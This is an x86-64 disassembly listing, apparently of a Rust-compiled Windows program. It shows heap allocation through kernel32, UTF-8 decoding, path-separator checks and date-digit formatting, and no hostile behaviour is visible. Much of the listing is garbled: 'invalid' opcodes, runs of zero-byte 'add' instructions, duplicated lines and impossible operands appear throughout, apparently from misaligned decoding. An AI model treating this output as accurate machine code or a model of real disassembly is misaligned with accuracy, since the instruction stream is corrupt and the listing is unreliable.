call fcn.1400837f0
lea rcx, [rsp + 0x90]
mov rdx, r15
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
call fcn.14007e9a0
movzx eax, byte [rsp + 0x90]
nop
add byte [rax], al
add byte [rdx + rcx], bh
nop
add byte [rax], al
add byte [rdx + rcx], bh
je 0x140024120
add al, 0xfa
movzx eax, al
lea r8, [rax + 1]
add dword [rsp + rax], edi
add dword [rsp + rax], edi
add al, 0x4d
cmovae eax, ebp
cmovae r8, r13
lea rcx, [0x1400ef300]
movsxd rax, dword [rcx + r8*4]
add rax, rcx
enter 0xffffffffffff8d48, 0x15
pop rax
push rax
or al, 0
enter 0xffffffffffff8d48, 0x15
pop rax
push rax
or al, 0
jmp rax
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
jmp case.0x1400240ea.1
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xc0
add byte [rax], al
add bl, ch
movabs byte [0x8d4800000001b841], al
mov r8d, 1
lea rdx, [0x1400e9143]
mov r8d, 1
lea rdx, [0x1400e9143]
jmp case.0x1400240ea.1
mov r8d, 2
lea rdx, str....
jmp case.0x1400240ea.1
mov rsi, r12
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1f0], rax
mov r8, qword [rsp + 0x60]
mov rcx, r15
mov qword [rsp + 0x1e0], rdx
call fcn.140043490
cmp qword [rsp + 0xd0], 0
jne 0x140025177
mov r12, qword [rsp + 0xe0]
mov rcx, r15
mov rdx, qword [rsp + 0x78]
mov r8, rdi
call fcn.140043490
cmp qword [rsp + 0xd0], 0
jne 0x140025191
sub r12, qword [rsp + 0xe0]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x148], rsi
mov dword [rsp + 0x148], esi
mov dword [rsp + 0x148], esi
jne 0x1400241f0
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
push rax
or eax, 0xc0854800
add byte [rax - 0x7b], cl
invalid
push rax
or eax, 0xc0854800
add byte [rax - 0x7b], cl
invalid
add byte [rax - 0x7b], cl
sal byte [rbp + 0x16], 0xff
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
jne case.0x14001be02.42
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400251ab
mov qword [0x1400f91f8], rax
push rax
or eax, 0x1b84100
add byte [rax], al
mov r8d, 1
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400251ab
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dh, 0
add byte [rsi], ch
mov ecx, 1
mov rsi, rax
mov byte [rax], 0x2e
add byte [rsi], ch
add byte [rsi], ch
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdi, qword [rsp + 0x40]
jmp 0x14002440e
jmp 0x14002440e
cmp r12, rbx
jae 0x140024210
fdiv qword [rbx + 0x1b]
mov r14, qword [rsp + 0x30]
and al, 0x30
xor byte [rbx - 0x80], al
cmp al, 0x26
cmp byte [r14 + r12], 0xbf
jg 0x14002421b
mov edi, 0xc7e91a7f
sldt word [rax]
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
invalid
jmp 0x1400251cd
add byte [rsi + 0x2e], ah
nop dword [rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
invalid
mov r14, qword [rsp + 0x30]
je case.0x140023fa5.12
xor byte [rdi], cl
test dword [rdx + 0x4800000f], esi
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
jne 0x1400251cd
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rax], al
mov rdx, r14
lea rcx, [rsp + 0x90]
add byte [rax], al
mov rdx, r14
mov r8, r12
call fcn.14007e4f0
add byte [rdi], cl
mov dh, 0x84
and al, 0x90
add byte [rax], al
movzx eax, byte [rsp + 0x90]
mov rcx, qword [rsp + 0xa0]
mov word [rax + riz*4], fs
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsp + 0xb0]
invalid
invalid
invalid
mov rdx, qword [rsp + 0xb0]
lea r8, [0x1400ef314]
invalid
mov al, 0xc
add byte [rbp + 0x63], cl
or al, 0x80
add r9, r8
add ecx, eax
invalid
add ecx, eax
mov rdi, r12
mov r8, r14
invalid
mov r12, rsi
lea r14, [rsp + 0x198]
jmp r9
invalid
add rcx, 4
jmp 0x1400242b0
invalid
lea rax, [rdx + 1]
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 8
jmp 0x1400242b0
mov ecx, 6
jmp 0x1400242b0
lea rax, [rdx + 1]
test rdx, rdx
cmove rax, rdx
add rcx, rax
add rcx, 2
rol dword [rdx], 0xeb
invalid
rol dword [rdx], 0xeb
adc edi, dword [rcx + 2]
mov ecx, 2
mov ecx, 2
nop word cs:[rax + rax]
mov rdi, qword [rsp + 0x40]
sub rdi, rcx
mov rdx, qword [rsp + 0x30]
jb 0x1400251ec
add rcx, rdx
mov r8, rcx
test rdi, rdi
je 0x1400242e0
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400242e2
xor eax, eax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rdx
mov rcx, qword [rsp + 0xb0]
mov rsi, rdx
lea rdx, [rsp + 0xe9]
mov qword [rdx + 0x17], rcx
movups xmm0, xmmword [rsp + 0x90]
movups xmm1, xmmword [rsp + 0xa0]
movups xmmword [rdx + 7], xmm1
movups xmmword [rdx - 9], xmm0
mov byte [rsp + 0x10a], al
mov word [rsp + 0x108], 0x200
lea rcx, [rsp + 0x90]
mov rdx, r15
call fcn.14007e9a0
cmp byte [rsp + 0x90], 2
ja 0x1400243a0
movaps xmmword [rsp + 0x280], xmm6
movaps xmmword [rsp + 0x270], xmm6
mov dil, 2
mov eax, 8
mov qword [rsp + 0x1e8], rax
xor esi, esi
mov rbx, qword [rsp + 0x78]
cmp qword [rsp + 0x1f0], 0
jne 0x1400248a8
jmp 0x1400248bf
test rsi, rsi
je 0x1400243f1
js 0x140025170
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x1400243d4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140025220
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x40]
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x1400243f6
jmp 0x140025220
mov esi, 1
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x40]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
cmp rdi, rbx
mov r12, rbx
cmovb r12, rdi
mov qword [rsp + 0x50], 8
lea rax, [rsp + 0x58]
movups xmmword [rax], xmm6
mov rax, rbx
test r12, r12
je 0x14002444c
cmp rdi, rbx
jae 0x140024446
mov rax, qword [rsp + 0x30]
cmp byte [rax + r12], 0xbf
jle 0x1400251ff
mov rax, rbx
sub rax, r12
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x70], rsi
add r12, qword [rsp + 0x30]
mov qword [rsp + 0x210], rax
lea rbx, [r12 + rax]
mov esi, 8
xor r14d, r14d
xor ecx, ecx
mov qword [rsp + 0x150], r12
xor ebp, ebp
jmp 0x140024508
imul rax, r14, 0x38
mov qword [rsi + rax], r13
mov rcx, qword [rsp + 0x158]
mov qword [rsi + rax + 8], rcx
mov qword [rsi + rax + 0x10], r15
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi + rax + 0x18], xmm0
mov rcx, qword [rsp + 0xa0]
mov qword [rsi + rax + 0x28], rcx
mov byte [rsi + rax + 0x30], dil
mov ecx, dword [rsp + 0x120]
mov edx, dword [rsp + 0x123]
mov dword [rsi + rax + 0x31], ecx
mov dword [rsi + rax + 0x34], edx
inc r14
mov qword [rsp + 0x60], r14
cmp byte [rsp + 0x88], 0
lea r15, [rsp + 0xd0]
mov r13d, 0
mov rcx, qword [rsp + 0x48]
je 0x1400246c0
mov rax, rbp
mov rbp, rcx
nop
mov r8, rbp
cmp r12, rbx
je 0x1400245f0
mov rcx, r12
movzx r11d, byte [r12]
movzx edx, r11b
test dl, dl
js 0x140024540
lea r12, [rcx + 1]
jmp 0x1400245b0
mov r9d, edx
and r9d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x14002458f
movzx r10d, byte [rcx + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x14002459f
lea r12, [rcx + 4]
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
jne 0x1400245b0
jmp 0x1400245f3
lea r12, [rcx + 2]
shl r9d, 6
or r9d, edi
mov edx, r9d
jmp 0x1400245b0
lea r12, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
nop dword [rax]
mov rbp, r12
sub rbp, rcx
add rbp, r8
cmp dl, 0x5c
setne cl
cmp dl, 0x2f
setne r9b
cmp edx, 0x7f
ja 0x140024510
and cl, r9b
jne 0x140024510
mov cl, 1
mov dword [rsp + 0x88], ecx
mov qword [rsp + 0x48], rbp
jmp 0x14002461a
mov r12, rbx
mov rcx, qword [rsp + 0x210]
cmp rcx, rax
je 0x1400246c0
mov dword [rsp + 0x88], 0
mov rbp, rax
mov qword [rsp + 0x48], r8
mov r8, rcx
mov rcx, qword [rsp + 0x150]
lea rdx, [rcx + rax]
sub r8, rax
mov rcx, r15
call fcn.14004d370
movzx edi, byte [rsp + 0x100]
mov r13, qword [rsp + 0xd0]
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x158], rax
mov r15, qword [rsp + 0xe0]
cmp dil, 2
je 0x140024760
lea rcx, [rsp + 0xe9]
mov rax, qword [rcx + 0xf]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rcx - 1]
movaps xmmword [rsp + 0x90], xmm0
mov eax, dword [rcx + 0x18]
mov ecx, dword [rcx + 0x1b]
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x123], ecx
cmp r14, qword [rsp + 0x58]
jne 0x140024490
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.14004dcc0
mov rsi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x60]
jmp 0x140024490
mov rsi, qword [rsp + 0x1f8]
cmp qword [rsp + 0x40], rsi
mov r12, qword [rsp + 0x148]
lea rbp, [rsp + 0x160]
mov rdi, qword [rsp + 0x78]
jne 0x14002472e
cmp r14, qword [rsp + 0x58]
jne 0x1400246fd
lea rcx, [rsp + 0x50]
mov rdx, r14
call fcn.14004dcc0
mov r14, qword [rsp + 0x60]
mov rax, qword [rsp + 0x50]
imul rcx, r14, 0x38
mov qword [rax + rcx], 1
movups xmmword [rax + rcx + 8], xmm6
mov qword [rax + rcx + 0x18], 8
movups xmmword [rax + rcx + 0x20], xmm6
mov byte [rax + rcx + 0x30], 0
inc r14
mov qword [rsp + 0x60], r14
test rsi, rsi
je 0x1400248fb
mov r8, qword [rsp + 0x30]
movzx eax, byte [r8 + rsi - 1]
test al, al
lea r14, [rsp + 0x198]
js 0x140024907
movzx eax, al
jmp 0x140024956
mov rsi, qword [rsp + 0x50]
test r14, r14
lea rbp, [rsp + 0x160]
je 0x140024830
xor ebx, ebx
jmp 0x14002478c
inc rbx
cmp rbx, r14
je 0x140024830
imul r12, rbx, 0x38
cmp qword [rsi + r12 + 8], 0
je 0x1400247ae
lea rax, [rsi + r12]
mov r8, qword [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + r12 + 0x18]
mov qword [rsp + 0x48], rax
mov rbp, qword [rsi + r12 + 0x28]
test rbp, rbp
je 0x140024800
mov rax, qword [rsp + 0x48]
lea rdi, [rax + 0x10]
jmp 0x1400247d9
add rdi, 0x20
dec rbp
je 0x140024800
mov eax, dword [rdi - 0x10]
cmp rax, 4
jb 0x1400247d0
cmp eax, 4
cmp qword [rdi], 0
je 0x1400247d0
mov r8, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400247d0
cmp qword [rsi + r12 + 0x20], 0
lea rbp, [rsp + 0x160]
je 0x140024780
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024780
cmp qword [rsp + 0x58], 0
mov r12, qword [rsp + 0x148]
mov edi, dword [rsp + 0x3c]
je 0x140024856
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x80], 0
lea r14, [rsp + 0x198]
mov rbx, qword [rsp + 0x78]
je 0x140024882
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call qword [sym.imp.kernel32.dll_HeapFree]
mov sil, 2
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x80], r15
lea r15, [rsp + 0xd0]
xor r13d, r13d
cmp qword [rsp + 0x1f0], 0
je 0x1400248bf
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x1e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x140], 0
je 0x1400248dc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp sil, 2
mov r8, qword [rsp + 0x80]
mov r9, qword [rsp + 0x158]
jne 0x1400249f1
jmp 0x14002508c
xor esi, esi
lea r14, [rsp + 0x198]
jmp 0x140024964
movzx ecx, byte [r8 + rsi - 2]
cmp cl, 0xc0
jge 0x140024933
movzx edx, byte [r8 + rsi - 3]
cmp dl, 0xc0
jge 0x140024938
movzx r8d, byte [r8 + rsi - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14002493b
and ecx, 0x1f
jmp 0x140024943
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
or eax, ecx
cmp eax, 0x7f
ja 0x140025038
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete sil
or sil, cl
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x58]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x280], xmm0
mov eax, dword [rsp + 0x201]
mov ecx, dword [rsp + 0x204]
mov dword [rsp + 0x11b], ecx
mov dword [rsp + 0x118], eax
movaps xmmword [rsp + 0x270], xmm6
cmp qword [rsp + 0x1f0], 0
je 0x1400249c7
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x1e0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x140], 0
je 0x1400249e4
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov r8, qword [rsp + 0x80]
mov r9, r8
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11b]
lea rdx, [rsp + 0x231]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movaps xmm0, xmmword [rsp + 0x280]
movups xmmword [rdx + 0xf], xmm0
movaps xmm0, xmmword [rsp + 0x270]
movups xmmword [rdx + 0x27], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x158], r9
mov qword [rsp + 0x220], r9
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x228], r8
mov byte [rsp + 0x230], dil
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x238], rax
mov qword [rsp + 0x250], 8
mov byte [rsp + 0x26a], 0
mov word [rsp + 0x268], 1
mov byte [rsp + 0x26b], sil
mov dword [rsp + 0x3c], edi
jmp 0x140024ab1
movzx ebx, byte [rsp + 0x178]
cmp bl, 2
jne 0x140024b70
mov rcx, rbp
lea rdx, [rsp + 0x218]
call fcn.14004e160
movzx eax, byte [rsp + 0x180]
cmp eax, 2
je 0x140024aa0
cmp eax, 3
je 0x140023be0
cmp qword [rsp + 0x170], 0
je 0x140024af9
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x160]
mov eax, esi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140024ab1
test rax, rax
je 0x140024ab1
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140024b46
cmp qword [rbx + 0x10], 0x11
jb 0x140024b34
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
dec rsi
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov edi, dword [rsp + 0x3c]
jmp 0x140024ab1
mov rdi, qword [rsp + 0x160]
movups xmm7, xmmword [rsp + 0x168]
lea rcx, [rsp + 0x179]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0xd0], eax
mov dword [rsp + 0xd3], ecx
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140024bc4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x1400251bc
mov qword [0x1400f91f8], rax
mov r8d, 0x80
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x1400251bc
mov rsi, rax
mov qword [rax], rdi
movups xmmword [rax + 8], xmm7
mov byte [rax + 0x18], bl
mov eax, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0xd3]
mov dword [rsi + 0x19], eax
mov dword [rsi + 0x1c], ecx
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xa0], 1
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0x258]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [rsp + 0x218]
movups xmm1, xmmword [rsp + 0x228]
movups xmm2, xmmword [rsp + 0x238]
movups xmm3, xmmword [rsp + 0x248]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov edi, 1
mov eax, 0x20
mov qword [rsp + 0x88], rax
jmp 0x140024cb1
movzx ebx, byte [rsp + 0xe8]
cmp bl, 2
jne 0x140024d6c
mov rcx, r15
mov rdx, rbp
call fcn.14004e160
movzx eax, byte [rsp + 0xf0]
cmp eax, 2
je 0x140024ca0
cmp eax, 3
je 0x140024e00
cmp qword [rsp + 0xe0], 0
je 0x140024cf4
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xd0]
mov eax, ebx
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140024cb1
test rax, rax
je 0x140024cb1
mov r14, qword [rbx - 1]
mov r15, qword [rbx + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140024d42
cmp qword [r15 + 0x10], 0x11
jb 0x140024d30
mov r14, qword [r14 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x198]
lea r15, [rsp + 0xd0]
jmp 0x140024cb1
mov r14, qword [rsp + 0xd0]
movups xmm7, xmmword [rsp + 0xd8]
lea rcx, [rsp + 0xe9]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x50], eax
mov dword [rsp + 0x53], ecx
cmp rdi, qword [rsp + 0x98]
je 0x140024de0
mov rax, rdi
shl rax, 5
mov qword [rsi + rax], r14
movups xmmword [rsi + rax + 8], xmm7
mov byte [rsi + rax + 0x18], bl
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x53]
mov dword [rsi + rax + 0x19], ecx
mov dword [rsi + rax + 0x1c], edx
inc rdi
mov qword [rsp + 0xa0], rdi
add qword [rsp + 0x88], 0x20
lea r14, [rsp + 0x198]
jmp 0x140024cb1
mov r8d, 1
lea rcx, [rsp + 0x90]
mov rdx, rdi
call fcn.1400af670
mov rsi, qword [rsp + 0x90]
jmp 0x140024d9b
mov rcx, rbp
call fcn.14000a3d0
mov r12, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x150], rax
mov r15, rdi
shl r15, 5
add r15, r12
mov qword [rsp + 0x48], r12
test rdi, rdi
mov edi, dword [rsp + 0x3c]
je 0x140024fb0
mov rax, qword [rsp + 0x48]
lea r12, [rax + 0x20]
jmp 0x140024e73
add r12, 0x20
add r13, 0x20
cmp r13, r15
lea rbp, [rsp + 0x160]
mov r13d, 0
mov edi, dword [rsp + 0x3c]
je 0x140025000
cmp byte [r12 - 8], 2
je 0x140024fb0
lea r13, [r12 - 0x20]
mov rdi, qword [r12 - 0x20]
mov rcx, rbp
mov rbp, qword [r12 - 0x18]
mov r8, qword [r13 + 0x10]
mov rdx, rdi
call fcn.140043490
cmp qword [rsp + 0x160], 0
je 0x140024ec0
test rbp, rbp
jne 0x140024f8d
jmp 0x140024e50
mov r14, qword [rsp + 0x168]
mov rbx, qword [rsp + 0x170]
test rbx, rbx
je 0x140024f1f
js 0x140025170
movzx eax, byte [0x1400f92c0]
mov rax, qword [0x1400f91f8]
test rax, rax
jne 0x140024f04
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140025161
mov qword [0x1400f91f8], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x140024f24
jmp 0x140025161
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0x138]
cmp rdx, qword [rsp + 0x130]
jne 0x140024f59
lea rcx, [rsp + 0x128]
call fcn.140099ec0
mov rdx, qword [rsp + 0x138]
lea r14, [rsp + 0x198]
mov rax, qword [rsp + 0x128]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], rsi
mov qword [rax + rcx + 8], rbx
inc rdx
mov qword [rsp + 0x138], rdx
test rbp, rbp
je 0x140024e50
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024e50
cmp r15, r12
je 0x140025000
mov rsi, qword [rsp + 0x48]
sub rsi, r12
add rsi, qword [rsp + 0x88]
shr rsi, 5
add r12, 8
jmp 0x140024fd9
add r12, 0x20
dec rsi
je 0x140025000
cmp qword [r12], 0
je 0x140024fd0
mov r8, qword [r12 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140024fd0
cmp qword [rsp + 0x150], 0
mov r12, qword [rsp + 0x148]
lea r15, [rsp + 0xd0]
je 0x140023bed
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, qword [rsp + 0x48]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140023bed
xor esi, esi
jmp 0x140024964
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x1d8]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x128]
mov qword [rcx], rax
mov rax, qword [rsp + 0x130]
mov qword [rcx + 8], rax
jmp 0x14002512c
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x70], rax
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x170]
mov rbx, r9
mov rdi, r8
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
je 0x1400250ac
mov rsi, qword [rsp + 0x70]
jmp 0x1400250ca
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov rsi, qword [rsp + 0x70]
je 0x140025231
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140025231
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rcx, qword [rsp + 0x1d8]
mov qword [rcx + 8], rax
lea rax, [0x1400bb458]
mov qword [rcx + 0x10], rax
mov qword [rcx], 0
cmp qword [rsp + 0x130], 0
je 0x14002512c
mov r8, qword [rsp + 0x128]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x290]
movaps xmm7, xmmword [rsp + 0x2a0]
add rsp, 0x2b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.1400a9f20
ud2
mov ecx, 1
mov rdx, rbx
call fcn.1400a9e00
ud2
call fcn.1400402a0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0618]
mov edx, 0x2b
call fcn.1400aa0a0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e0630]
mov edx, 0x2b
call fcn.1400aa0a0
ud2
mov ecx, 1
mov edx, 1
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 0x80
call fcn.1400a9e00
ud2
lea rax, [0x1400e0648]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, rbx
xor r8d, r8d
mov r9, r12
call fcn.1400aa670
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, qword [rsp + 0x40]
call fcn.1400a9f20
ud2
lea rax, [0x1400e0660]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov rdx, rbx
mov r8, r12
mov r9, rbx
call fcn.1400aa670
ud2
mov ecx, 1
mov rdx, qword [rsp + 0x40]
call fcn.1400a9e00
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a9e00
ud2
mov eax, ebp
shr eax, 4
add eax, r8d
imul ebp, eax, 0x2493
shr ebp, 0x10
lea r8d, [rbp*8]
sub ebp, r8d
movzx r8d, bx
mov qword [rsp + 0x230], r8
shl r8, 4
lea r11, [0x1400b2048]
lea rbx, [r8 + r11]
add rbx, 8
mov qword [rsp + 0x270], rbx
add r11, r8
mov qword [rsp + 0x278], r11
lea rbx, str.SunMonTueWedThuFriSate
add r8, rbx
mov qword [rsp + 0x280], r8
imul r8, rcx, 0x10624dd3
shr r8, 0x26
mov qword [rsp + 0x1e0], r8
mov qword [rsp + 0x150], rcx
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
mov qword [rsp + 0x1d8], rcx
or dil, 0x30
mov dword [rsp + 0x160], edi
mov edi, dword [rsp + 0x128]
or dil, 0x30
or r9b, 0x30
mov byte [rsp + 0x10c], r9b
or r15b, 0x30
or dl, 0x30
mov byte [rsp + 0x114], dl
or r13b, 0x30
or r14b, 0x30
mov byte [rsp + 0x110], r14b
or sil, 0x30
mov r8d, r12d
shr r8d, 0xd
lea r11d, [rax + rbp]
cmp r11w, 6
lea eax, [rax + rbp + 1]
mov ecx, 0
cmovae eax, ecx
movzx eax, ax
shl rax, 4
add rax, rbx
mov qword [rsp + 0x268], rax
mov eax, r12d
shr eax, 0xf
and eax, 0x3fff
imul eax, eax, 0x147b
shr eax, 0x11
movzx ebx, al
imul r11d, ebx, 0xcd
shr r11d, 0xb
lea ecx, [r11 + 0x30]
mov dword [rsp + 0x158], ecx
add r11d, r11d
lea r11d, [r11 + r11*4]
sub bl, r11b
imul eax, eax, 0x64
sub r8d, eax
imul eax, r8d, 0x67
movzx eax, ax
shr eax, 0xa
mov ebp, eax
add eax, eax
lea eax, [rax + rax*4]
sub r8b, al
mov qword [rsp + 0x1c8], 0x20
mov byte [rsp + 0x1d0], 3
mov qword [rsp + 0x198], 0
mov qword [rsp + 0x1a8], 0
or bl, 0x30
or bpl, 0x30
or r8b, 0x30
mov eax, 1
mov rdx, qword [rsp + 0x148]
sub eax, edx
imul rax, rax, 0x51eb851f
rcr byte [rdi], 0x85
jmp 0x140025ed8
shr rax, 0x27
inc eax
imul r11d, eax, 0x190
imul eax, eax, 0xfffdc54f
mov qword [rsp + 0x128], r12
cmp r12d, 0x2000
mov ecx, 0
cmovge r11d, ecx
